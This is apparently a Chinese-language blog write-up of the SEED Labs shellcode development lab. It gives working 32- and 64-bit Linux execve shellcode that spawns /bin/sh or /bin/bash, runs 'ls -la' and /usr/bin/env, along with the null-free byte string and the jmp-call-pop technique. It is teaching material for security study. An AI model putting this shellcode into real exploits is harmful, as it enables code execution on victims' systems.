SeedLab——Shellcode Development Lab

SeedLab——Shellcode Development Lab

Task-1 Writing Shellcode

A: The Entire Process

下面这段代码使用汇编语言编写实现一个Linux系统调用程序,用于执行/bin/sh命令。

section .text
  ; 定义代码段开始

  global _start
    ; 声明_start标号为全局可见,_start是程序的入口点

  _start:
    ; 程序的入口点

    ; 存储参数字符串到栈上
    xor  eax, eax 
      ; 将eax寄存器与自身进行异或操作,将eax寄存器清零
; 构建参数数组argv[] push eax ; 压入0截断 push "//sh" ; 压入字符串"//sh",作为要执行的程序的参数之一 push "/bin" ; 压入字符串"/bin",作为要执行的程序的参数之一 mov ebx, esp ; 将esp寄存器的值(指向字符串"/bin//sh"的地址)赋给ebx寄存器,用于后续执行execve系统调用时指定要执行的程序路径 push eax ; 第二个参数argv[1],为空 push ebx ; 压入ebx寄存器的值(指向字符串"/bin//sh"的地址),作为argv[]数组的第一个元素(argv[0])的值,表示要执行的程序的路径 mov ecx, esp ; 将esp寄存器的值(ebx)赋给ecx寄存器,用于后续执行execve系统调用时指定参数数组的地址 ; 环境变量 xor edx, edx ; 将edx寄存器与自身进行异或操作,将edx寄存器清零,表示没有环境变量 ; 调用execve() xor eax, eax ; 将eax寄存器与自身进行异或操作,将eax寄存器清零 mov al, 0x0b ; 将值0x0b(11的十六进制表示)赋给al寄存器,表示要执行的系统调用编号为11,即execve int 0x80 ; 触发软中断,进入内核模式执行系统调用

使用 NASM(Netwide Assembler)将汇编代码编译为 32 位 ELF 目标文件。ELF(Executable and Linkable Format)是一种可执行文件和可链接文件的标准文件格式。它是在许多类Unix操作系统中使用的常见二进制文件格式,包括Linux。ELF 文件包含了程序的机器代码、数据、符号表、调试信息和其他与执行相关的元数据。ELF 文件可以根据需要进行链接,以创建可执行文件、共享库、静态库等。它提供了灵活性和可扩展性,使得在不同的编程语言和平台上进行软件开发和交付变得更加方便。

nasm -f elf32 mysh.s -o mysh.o

使用 GNU ld(链接器)将 NASM 生成的目标文件与所需的库文件进行链接,以生成可执行文件。针对 32 位 x86 架构的 ELF 目标文件,可以使用 -m elf_i386 选项来指定架构。下面是使用 ld 进行链接的命令:

ld -m elf_i386 mysh.o -o mysh

运行mysh,可知启动一个新的 sh 进程用于执行 shell 指令。

seed@VM:~/.../Labsetup$ echo $ # 用于表示当前正在运行的进程的进程 ID(PID)
2336
seed@VM:~/.../Labsetup$ ./mysh # 运行mysh
$ ls
Makefile  convert.py  machinecode  mysh  mysh.o  mysh.s  mysh2.s  mysh_64.s
$ echo $
2726
$ 

--disassemble 选项告诉 objdump 对目标文件进行反汇编,-Mintel 选项指定使用 Intel 格式的语法进行显示。

seed@VM:~/.../Labsetup$ objdump -Mintel --disassemble mysh.o
mysh.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx,esp
   f:   50                      push   eax
  10:   53                      push   ebx
  11:   89 e1                   mov    ecx,esp
  13:   31 d2                   xor    edx,edx
  15:   31 c0                   xor    eax,eax
  17:   b0 0b                   mov    al,0xb
  19:   cd 80                   int    0x80

以每行 20 个字符的方式显示 mysh.o 目标文件的内容的十六进制表示。 -p 选项告诉 xxd 只输出纯粹的十六进制数据,而不包括行号和ASCII字符显示。 -c 20 选项指定每行显示 20 个字符。

seed@VM:~/.../Labsetup$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
0100000000000000000000004000000000000000
# 略
# 下面这部分就是机器代码了
00000000000000000000000031c050682f2f7368
682f62696e89e3505389e131d231c0b00bcd8000
# 略
0400f1ff00000000000000000000000003000100
08000000000000000000000010000100006d7973
682e73005f73746172740000

将机器代码放入convert.py中的ori_sh,转换成正确的格式。

# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh ="""31c050682f2f7368682f62696e89e3505389e131d231c0b00bcd80"""
seed@VM:~/.../Labsetup$ python3 convert.py 
Length of the shellcode: 27
shellcode= (
   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
   "\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

B. Eliminating Zeros from the Code

这个任务中,我们将使用 shellcode 来执行 /bin/bash,该命令字符串有 9 个字节(如果计算末尾的零,则有 10 个字节)。通常情况下,为了将这个字符串推入堆栈,我们需要使字符串的长度为 4 的倍数,所以我们会将字符串转换为 /bin////bash。然而,对于此任务,我们不能向字符串中添加任何多余的 /,也就是说,命令的长度必须是 9 个字节(/bin/bash)。

我们可以使用SHLSHR。这两个是汇编语言中的位移指令,用于对寄存器或内存中的数据进行位移操作。它们分别可以对操作数进行左移(Shift Left)和右移(Shift Right),然后使用0来填充

所以可以修改mysh.s中5-9行如下所示,经过位移操作,ebx变为了 0x00000068,压入栈中与 /bin/bas 拼凑在一起变成 /bin/bash

      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      mov ebx,"###h"    ; EBX为0x68232323
      shr ebx,24        ; 右移ebx24位, ebx变为0x00000068
      push ebx
      push "/bas"
      push "/bin"
      mov  ebx, esp     ; Get the string address

编译链接,运行结果如下。可知正确运行了 /bin/bash。

seed@VM:~/.../Labsetup$ echo $
3218
seed@VM:~/.../Labsetup$ ./mysh
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[10/25/23]seed@VM:.../Labsetup$ echo $
3774
seed@VM:.../Labsetup$ echo $SHELL
/bin/bash # 运行的是bash

C. Providing Arguments for System Calls

在本实验中,要求运行命令: /bin/sh -c "ls -la",需要我们为系统调用提供参数。

构造参数并压入栈中

参数/bin//sh构造如下,然后压入栈中。此时将栈顶指针地址移动到ebx寄存器,表示该参数其地址存储在ebx

      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the address of argv[0]

参数-c构造如下,然后压入栈中。此时将栈顶指针地址移动到edx寄存器,表示该参数其地址存储在edx。

      mov eax, "##-c"
      shr eax, 16
      push eax          ; eax = -c
      mov edx, esp      ; Get the address of argv[1]

参数ls -la构造如下,然后压入栈中。此时将栈顶指针地址移动到ecx寄存器,表示该参数其地址存储在ecx。

      mov eax, "##la"
      shr eax, 16
      push eax
      push "ls -"
      mov ecx, esp      ; Get the address of argv[2]

传递参数给系统调用

要理解怎么做,首先来看execve系统调用的使用。下面是一个示例程序,用于执行/bin/sh -c "ls -la"。传递了三个参数——要执行的程序的路径path、参数数组args以及环境变量数组envs

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *args[] = { "/bin/sh", "-c", "ls -la", NULL };
    execve(args[0], args, NULL);
    perror("execve");  // 如果execve调用失败,打印错误信息
    return 0;
}

这段汇编代码将eax寄存器清零,然后将0x0b移动到al寄存器(即eax寄存器的低八位),表示要执行的系统调用编号为 11,即 execve。

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b

ebx寄存器为传递的参数一即path的地址,ecx寄存器为传递的参数二即args的地址,edx寄存器为传递的参数三即envs的地址。

所以使用下面这段汇编代码将args参数列表压入栈中,然后将栈顶指针esp移动到ecx寄存器作为系统调用参数二,这样args参数传递就完成了。同时args[0]path参数的地址已经在ebx寄存器中,这个参数地址在我们之前构造时就已经放在了ebx寄存器中了,因此path参数的传递也完成了。

      xor eax, eax
      push eax          ; argv[3] = 0
      push ecx          ; argv[2] points "ls -la"
      push edx          ; argv[1] points "-c"
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

还有参数三envs,传递NULL。因此将edx与自身异或得到0作为参数envs传递给execve调用。

      ; For environment variable 
      xor  edx, edx     ; No env variables 

这样与前面的结合起来,就能完整理解这个shellcode的执行流程与原理了。完整shellcode编写如下

section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the address of argv[0]

      mov eax, "##-c"
      shr eax, 16
      push eax          ; eax = -c
      mov edx, esp      ; Get the address of argv[1]

      mov eax, "##la"
      shr eax, 16
      push eax
      push "ls -"
      mov ecx, esp      ; Get the address of argv[2]

      ; Construct the argument array argv[]
      xor eax, eax
      push eax          ; argv[3] = 0
      push ecx          ; argv[2] points "ls -la"
      push edx          ; argv[1] points "-c"
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable 
      xor  edx, edx     ; No env variables 

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

最后编译链接shellcode,执行结果如下

seed@VM:~/.../Labsetup$ nasm -f elf32 mysh.s -o mysh.o
seed@VM:~/.../Labsetup$ ld -m elf_i386 mysh.o -o mysh
seed@VM:~/.../Labsetup$ ./mysh
total 56
drwxrwxr-x 2 seed seed 4096 Oct 26 02:25 .
drwxrwxr-x 4 seed seed 4096 Oct 16 04:30 ..
-rw------- 1 seed seed    2 Oct 25 23:30 .gdb_history
-rw-rw-r-- 1 seed seed  294 Oct 16 04:30 Makefile
-rw-rw-r-- 1 seed seed  481 Oct 25 22:49 convert.py
-rw-rw-r-- 1 seed seed 9234 Oct 23 04:17 machinecode
-rwxrwxr-x 1 seed seed 4536 Oct 26 02:25 mysh
-rw-rw-r-- 1 seed seed  464 Oct 26 02:25 mysh.o
-rw-rw-r-- 1 seed seed 1131 Oct 26 02:25 mysh.s
-rw-rw-r-- 1 seed seed  266 Oct 16 04:30 mysh2.s
-rw-rw-r-- 1 seed seed  378 Oct 16 04:30 mysh_64.s

D. Providing Environment Variables for execve()

这里的要求总结一下,就是要求我们实现shellcode,功能与下面的C语言程序相同。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *args[] = { "/usr/bin/env", NULL };
    char *env[] = { "aaa=1234", "bbb=5678", "cccc=1234", NULL };
    execve(args[0], args, env);
    perror("execve");  // 如果execve调用失败,打印错误信息
    return 0;
}

这里要我们将execve系统调用的path设置为/usr/bin/envargs设置为{ "/usr/bin/env", NULL }envs设置为{ "aaa=1234", "bbb=5678", "cccc=1234", NULL }

envs参数

首先构造envs参数列表,aaa=1234的地址存放在ebx寄存器

      xor  eax, eax 
      push eax
      push "1234"
      push "aaa="       ; aaa=1234
      mov ebx, esp

bbb=5678的地址存放在ecx寄存器

      push eax
      push "5678"
      push "bbb="       ; bbb=5678
      mov ecx, esp

cccc=1234为九个字节,因此需要通过移位来构造0。其地址存放在edx寄存器。

      mov eax, "###4"
      shr eax, 24       ; Generate 0 
      push eax       
      push "=123"
      push "cccc"       ; cccc=1234
      mov edx, esp

然后传递envs参数。将构造的三个环境变量压入栈中,然后获取栈顶指针存入edx寄存器中,作为参数envs

      ; For environment variable
      xor eax, eax
      push eax          ; envs[3]=null
      push edx          ; envs[2]="cccc=1234"
      push ecx          ; envs[2]="bbb=1234"
      push ebx          ; envs[2]="aaa=1234"
      mov edx, esp

args参数

然后构造path参数和args参数。将path的地址存入ebx寄存器中。

      ; path and args
      xor eax, eax
      push eax          ; Use 0 to terminate the string
      push "/env"
      push "/bin"
      push "/usr"
      mov  ebx, esp     ; Get the address of argv[0]

然后将args压入栈,并将args的地址存入ecx寄存器中。

      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/usr/bin/env"
      mov  ecx, esp     ; Get the address of argv[] 

完整代码如下

section .text
  global _start
    _start:
      ; Store the argument string on stack

      ; environment
      xor  eax, eax 
      push eax
      push "1234"
      push "aaa="       ; aaa=1234
      mov ebx, esp

      push eax
      push "5678"
      push "bbb="       ; bbb=5678
      mov ecx, esp

      mov eax, "###4"
      shr eax, 24       ; Generate 0 
      push eax       
      push "=123"
      push "cccc"       ; cccc=1234
      mov edx, esp      

      ; For environment variable
      xor eax, eax
      push eax          ; envs[3]=null
      push edx          ; envs[2]="cccc=1234"
      push ecx          ; envs[2]="bbb=1234"
      push ebx          ; envs[2]="aaa=1234"
      mov edx, esp

      ; path and args
      xor eax, eax
      push eax          ; Use 0 to terminate the string
      push "/env"
      push "/bin"
      push "/usr"
      mov  ebx, esp     ; Get the address of argv[0]

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/usr/bin/env"
      mov  ecx, esp     ; Get the address of argv[] 

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

编译链接,执行结果如下

image-20231026154246155

Task-2 Using Code Segment

示例程序分析

在Task1中,解决获取数据地址问题的方式是每次构造完数据结构后,获取当前的栈顶地址来获取目标数据地址。还有另一种解决相同问题的方法,即通过获取所有必要数据结构的地址来实现。

给出示例代码如下所示

section .text
  global _start
    _start:
    BITS 32
    jmp short two
    one:
    pop ebx
    xor eax, eax
    mov [ebx+7], al 
    mov [ebx+8], ebx    
    mov [ebx+12], eax    
    lea ecx, [ebx+8] 
    xor edx, edx
    mov al,  0x0b
    int 0x80
     two:
    call one
    db '/bin/sh*AAAABBBB'

这段代码首先通过jmp short two指令跳转到two:,在two代码段中,call调用one函数,使用db '/bin/sh*AAAABBBB'指令定义一段字节数据并将字节数据存储在代码区域中。然后进入one代码段,首先将栈顶的值弹出到ebx寄存器中,这里是将/bin/sh*AAAABBBB的地址弹出到ebx中。内存空间如下所示。

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/ b i n / s h * B B B B A A A A
ebx                              

将eax异或运算,然后将低位的八位存储到ebx+7地址处,即将字节0存储到/bin/sh字符串的最后一个字符处。

    xor eax, eax
    mov [ebx+7], al

内存空间改变如下所示

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/ b i n / s h 0 B B B B A A A A
ebx                              

然后mov [ebx+8], ebxebx的值存储到ebx+8地址处,内存空间改变如下所示

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/ b i n / s h 0 ebx0-7 ebx8-15 ebx16-23 ebx23-31 A A A A
ebx                              

执行lea ecx, [ebx+8],将ebx+8的值也就是ebx寄存器的值放入ecx寄存器作为参数args

mov [ebx+12], eaxeax寄存器的值存储到ebx+12地址处,即将0存储到/bin/sh*AAAABBBB字符串的最后一个字符之后的位置。

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/ b i n / s h 0 ebx0-7 ebx8-15 ebx16-23 ebx23-31 0 0 0 0
ebx                              

最后将edx与自己异或设置为0,将eax的低八位设置为11,表示进行execve系统调用。

    xor edx, edx
    mov al,  0x0b

综上所述,eax、ebx、ecx、edx都设置完毕,所以给出的示例代码等效于下面的C语言代码。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *args[] = { "/bin/sh", NULL };
    execve(args[0], args, NULL);
    perror("execve");  // 如果execve调用失败,打印错误信息
    return 0;
}

编写shellcode

使用样例程序中的方法,编写一个新的shellcode,使其能够运行命令/usr/bin/env,并且能够打印出如下环境变量

a=11
b=22

two代码段如下,设置数据为/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE

     two:
    call one
    db '/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE'

内存空间如下所示(第一行为地址,第二行为内容,第三行表示如果内容为指针其指向的地址)

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
/ u s r / b i n / e n v * A A A A B B B
                                       
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
B a = 1 1 * b = 2 2 * C C C C D D D D E
                                       
40 41 42                                  
E E E                                  
                                       

进入one代码段,先对eax清零,然后将数据段进行分隔。也就是将*号和args数组以及envs数组末尾元素置为空。

    one:
    pop ebx
    xor eax, eax

    mov [ebx+12], al
    mov [ebx+13], ebx
    mov [ebx+17], eax
    mov [ebx+25], al
    mov [ebx+30], al
    mov [ebx+39], eax

操作后的内存空间如下

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
/ u s r / b i n / e n v 0         0 0 0
ebx                         0            
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
0 a = 1 1 0 b = 2 2 0 C C C C D D D D 0
                                       
40 41 42                                  
0 0 0                                  
                                       

然后将两个envs参数也就是a=11b=22数据段的地址加载到寄存器中。

    lea ecx, [ebx+21]
    lea edx, [ebx+26]
    mov [ebx+31], ecx
    mov [ebx+35], edx

操作后的内存空间如下

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
/ u s r / b i n / e n v 0         0 0 0
ebx                         0            
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
0 a = 1 1 0 b = 2 2 0                 0
                      21       26        
40 41 42                                  
0 0 0                                  
                                       

最后为系统调用提供参数。将args的地址加载到ecx寄存器,envs的地址加载到edx寄存器,path的地址已经存在ebx寄存器中了。

    lea ecx, [ebx+13]
    lea edx, [ebx+31]

完整代码如下所示

section .text
  global _start
    _start:
    BITS 32
    jmp short two
    one:
    pop ebx
    xor eax, eax

    mov [ebx+12], al
    mov [ebx+13], ebx
    mov [ebx+17], eax
    mov [ebx+25], al
    mov [ebx+30], al
    mov [ebx+39], eax

    lea ecx, [ebx+21]
    lea edx, [ebx+26]
    mov [ebx+31], ecx
    mov [ebx+35], edx

    lea ecx, [ebx+13]
    lea edx, [ebx+31]

    mov al,  0x0b
    int 0x80
     two:
    call one
    db '/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE'

编译链接运行如下所示

nasm -f elf32 mysh2.s -o mysh2.o
ld --omagic -m elf_i386 mysh2.o -o mysh2

image-20231026193440516

Task-3 Writing 64-bit Shellcode

完整代码如下所示

  global _start
    _start:
      ; The following code calls execve("/bin/sh", ...)
      xor  rdx, rdx       ; 3rd argument
      push rdx

      ; 修改的部分
      mov rax, '#######h'
      shr rax, 56
      push rax
      mov rax, '/bin/bas'
      push rax

      mov rdi, rsp        ; 1st argument
      push rdx 
      push rdi
      mov rsi, rsp        ; 2nd argument
      xor  rax, rax
      mov al, 0x3b        ; execve()
      syscall

Summary

在编写64位系统和32位系统的shellcode时,存在一些关键的差异。

  1. 寄存器:64位系统使用更多的寄存器,其中包括通用寄存器和扩展寄存器。通用寄存器从RAX到R15,扩展寄存器包括R8到R15。相比之下,32位系统只有通用寄存器,从EAX到EDI。因此,在编写64位系统的shellcode时,可以利用更多的寄存器来存储数据和执行操作。
  2. 操作数的大小:在64位系统中,指针大小为64位,所以操作数的大小也相应增加。在32位系统中,指针大小为32位,操作数的大小也是32位。因此在编写64位系统的shellcode时,需要使用64位的操作数和指令。
  3. 系统调用:由于64位系统和32位系统的系统调用接口不同,因此在编写shellcode时需要使用不同的系统调用号和调用方式。在64位系统中,一般使用syscall指令进行系统调用,系统调用号存储在RAX寄存器中。而在32位系统中,使用int 0x80指令进行系统调用,系统调用号存储在EAX寄存器中。

一个x86-64的CPU包含一组16个存储64位值的通用寄存器,用于存储整数和指针。初始的8086有8个16位的寄存器,如下标的%ax到%sp。扩展到IA32架构时,这些寄存器也扩展到了32位寄存器,从%eax到%esp。

63 31 15 7  
%rax %eax %ax %al 返回值
%rbx %ebx %bx %bl 被调用者保存
%rcx %ecx %cx %cl 参数4
%rdx %edx %dx %dl 参数3
%rsi %esi %si %sil 参数2
%rdi %edi %di %dil 参数1
%rbp %ebp %bp %bpl 被调用者保存
%rsp %esp %sp %spl 栈指针
%r8 %r8d %r8w %r8b 参数5
%r9 %r9d %r9w %r9b 参数6
%r10 %r10d %r10w %r10b 调用者保存
%r11 %r11d %r11w %r11b 调用者保存
%r12 %r12d %r12w %r12b 被调用者保存
%r13 %r13d %r13w %r13b 被调用者保存
%r14 %r14d %r14w %r14b 被调用者保存
%r15 %r15d %r15w %r15b 被调用者保存
------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞19赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片